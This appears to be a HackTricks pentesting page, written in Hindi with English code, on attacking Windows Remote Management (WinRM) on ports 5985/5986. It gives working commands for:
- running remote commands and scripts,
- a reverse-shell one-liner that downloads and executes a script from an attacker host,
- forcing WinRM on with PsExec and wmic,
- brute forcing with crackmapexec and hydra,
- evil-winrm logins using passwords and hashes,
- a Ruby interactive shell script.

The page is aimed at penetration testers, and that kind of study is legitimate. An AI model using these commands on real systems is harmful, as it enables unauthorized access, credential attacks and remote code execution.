5985,5986 - Pentesting WinRM

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रहें अपड

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

इस दृष्टिकोण में trustedhosts कॉन्फ़िगरेशन में वाइल्डकार्ड जोड़ना शामिल है, जो इसके परिणामों के कारण सावधानीपूर्वक विचार की आवश्यकता है। यह भी ध्यान देने योग्य है कि हमलावर की मशीन पर "सार्वजनिक" से "काम" पर नेटवर्क प्रकार को बदलना आवश्यक हो सकता है।

इसके अतिरिक्त, WinRM को wmic कमांड का उपयोग करके दूरस्थ सक्रिय किया जा सकता है, जैसा निम्नलिखित द्वारा प्रदर्शित किया गया है:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

परीक्षण करें कि कॉन्फ़िगर किया गया है

अपनी हमला मशीन की सेटअप की पुष्टि करने के लिए, Test-WSMan कमांड का उपयोग किया जाता है ताकि यह जांच सकें कि लक्ष्य में WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की उम्मीद है, जो सफल कॉन्फ़िगरेशन की संकेत करेगा। नीचे उदाहरण हैं जो सही ढंग से कॉन्फ़िगर किए गए लक्ष्य के लिए अपेक्षित आउटपुट को दर्शाते हैं:

Test-WSMan <target-ip>

उत्तर में प्रोटोकॉल संस्करण और wsmid की जानकारी होनी चाहिए, जो यह सिद्ध करता है कि WinRM सही ढंग से सेटअप है।

  • उल्टे, WinRM के लिए विन्यासित नहीं किया गया लक्षित लक्ष्य के लिए कोई ऐसी विस्तृत जानकारी नहीं होगी, जो सही WinRM सेटअप की अनुपस्थिति को हाइलाइट करेगी।

एक कमांड को निष्पादित करें

एक लक्षित मशीन पर दूरस्थ रूप से ipconfig को निष्पादित करने और उसका आउटपुट देखने के लिए करें:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

आप अपनी वर्तमान PS कंसोल का एक कमांड Invoke-Command के माध्यम से भी चला सकते हैं। मान लीजिए कि आपके स्थानीय रूप से enumeration नामक एक फ़ंक्शन है और आप इसे एक रिमोट कंप्यूटर में चलाना चाहते हैं, तो आप यह कर सकते हैं:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

स्क्रिप्ट को निष्पादित करें

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

रिवर्स-शैल प्राप्त करें

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PS सत्र प्राप्त करें

एक इंटरैक्टिव पावरशेल शैल प्राप्त करने के लिए Enter-PSSession का उपयोग करें:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

इस सत्र को "विक्टिम" के अंदर एक नए प्रक्रिया (wsmprovhost) में चलाया जाएगा

WinRM खोलने के लिए जबरदस्ती

PS रिमोटिंग और WinRM का उपयोग करने के लिए लेकिन कंप्यूटर कॉन्फ़िगर नहीं है, तो आप इसे सक्षम कर सकते हैं:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

सत्र सहेजना और पुनर्स्थापित करना

यह काम नहीं करेगा अगर भाषा दूरस्थ कंप्यूटर में सीमित है।

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

इस सत्र में आप Invoke-Command का उपयोग करके पीएस स्क्रिप्ट्स लोड कर सकते हैं।

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

त्रुटियाँ

यदि आप निम्नलिखित त्रुटि पाते हैं:

enter-pssession : दूरस्थ सर्वर 10.10.10.175 से कनेक्ट करना विफल हुआ और निम्नलिखित त्रुटि संदेश के साथ विफल हुआ: The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

तो क्लाइंट पर निम्नलिखित को कोशिश करें (यहाँ से जानकारी मिली है):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स उत्साह और हैकिंग की चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ रियल-टाइम समाचार और अंदरूनी दुनिया के साथ अप-टू-डेट रहें

नवीनतम घोषणाएं नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

लिनक्स में WinRM कनेक्शन

ब्रूट फोर्स

सावधान रहें, WinRM को ब्रूट-फोर्स करने से उपयोगकर्ताओं को ब्लॉक किया जा सकता है।

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

ईविल-विनर्म का उपयोग

gem install evil-winrm

Read documentation on its github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

ईविल-विनर्म का उपयोग करके IPv6 पते से कनेक्ट करने के लिए /etc/hosts में एक प्रविष्टि बनाएं जिसमें एक डोमेन नाम को IPv6 पते के साथ सेट करें और उस डोमेन से कनेक्ट करें।

evil-winrm -u <username> -H <Hash> -i <IP>

एक PS-डॉकर मशीन का उपयोग

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

एक रूबी स्क्रिप्ट का उपयोग

कोड यहाँ से निकाला गया है: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

शोडन

  • port:5985 Microsoft-HTTPAPI

संदर्भ

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़ रियल-टाइम न्यूज़ और अंदरूनी दृष्टिकोण के माध्यम से हैकिंग दुनिया में अद्यतन रहें

नवीनतम घोषणाएं नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें

Discord पर हमारे साथ जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated